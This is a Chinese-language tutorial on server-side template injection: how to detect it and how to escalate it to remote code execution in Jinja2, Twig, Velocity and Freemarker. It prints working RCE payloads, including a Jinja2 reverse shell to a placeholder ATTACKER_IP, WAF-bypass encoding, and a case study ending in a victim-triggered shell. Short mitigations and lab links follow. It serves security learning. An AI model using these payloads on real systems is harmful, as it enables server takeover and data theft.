什么是服务器端模板注入(SSTI)?
服务器端模板注入(Server-Side Template Injection,SSTI)发生在用户提供的输入被不安全地嵌入到服务器端处理的模板中。这些模板(如Python中的Jinja2,PHP中的Twig,Java中的Velocity)通常用于渲染动态网页。
如果开发者盲目地将用户输入注入渲染上下文,可能允许任意代码执行——根据引擎和服务器配置,有时甚至导致完全的远程代码执行(Remote Code Execution,RCE)。
检测SSTI:初步侦察与模糊测试
典型注入点:
- 用户名、个人资料名称、搜索输入
- 联系表单或支持消息
- URL参数或路由变量
- 反映用户输入的错误信息
基本检测Payload:
使用以下模板表达式测试是否会被计算:
{{7*7}}
→ Jinja2 / Twig / Django / Nunjucks<%= 7*7 %>
→ ERB(Ruby)${7*7}
→ Velocity / JSP#{7*7}
→ Thymeleaf
注入到表单字段或查询参数,观察响应中是否包含计算结果49
或执行后的表达式。
友情提示:
使用Burp Intruder或Turbo Intruder,结合针对模板引擎的字典,观察细微表现——如空白字符修剪、部分计算或反射。
利用:从模板注入到远程代码执行
确认存在SSTI后即可升级为代码执行。具体方法如下:
利用Jinja2 (Python):
- 确认引擎:
- 若
{{7*7}}
返回49
,很可能是Jinja2
- 若
- 读取内建类型:
{{ ''.__class__.__mro__[1].__subclasses__() }}
这会访问所有载入的Python类,查找subprocess.Popen
(通常索引约400以上)
- 生成shell:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
在服务器上执行id
命令。需要时替换为反向shell:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"', shell=True, stdout=-1).communicate() }}
若被沙箱限制,可尝试使用eval
,弱过滤绕过或未过滤的循环变量
利用Twig (PHP):
Twig默认不支持直接执行代码,但若禁用自动转义(autoescape
)且暴露了危险过滤器(如system
、exec
),可以链式调用过滤器:
{{ ['id']|filter('system') }}
更复杂的代码可通过访问globals
或利用对象注入、操作Symfony或Laravel上下文执行
利用Java模板引擎:
- Velocity:
#set($x="")$x.class.forName("java.lang.Runtime").getRuntime().exec("id")
- Freemarker:
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id") }
现实环境中发现SSTI
使用Burp Suite搜索
- 在Intruder使用定制Payload
- 监控是否返回计算表达式结果(如
49
、Hello admin
) - 编码Payload绕过WAF(如
%7B%7B7*7%7D%7D
) - 利用Collaborator实现DNS/HTTP异步执行
真实案例:漏洞赏金计划中的Flask + Jinja2
研究员发现密码重置功能URL含next
参数,能够重定向:
GET /reset-password?next=/dashboard HTTP/1.1
尝试注入:
GET /reset-password?next={{7*7}} HTTP/1.1
响应页面显示:
<p>You will be redirected to 49 shortly...</p>
确认Jinja2 SSTI漏洞。
升级步骤:
- 确认引擎及Payload生效
- 获取
subprocess.Popen
索引 - 利用反向Shell代码执行
- 诱导目标点击构造的密码重置链接触发执行
由于输入未在Flask的render_template_string()
中‘消毒’,攻击者可完全控制服务器代码执行。
防范建议
- 避免使用
render_template_string()
- 使用沙箱环境执行模板
- 白名单过滤输入或强模板上下文隔离
- 在模板渲染前实现输入验证与消毒
相关Payload及实验资源
- Hacktricks
- Payload All The Things
- PortSwigger Web Security Academy — SSTI实验室
https://portswigger.net/web-security/server-side-template-injection - TryHackMe — SSTI挑战
https://tryhackme.com/room/learnssti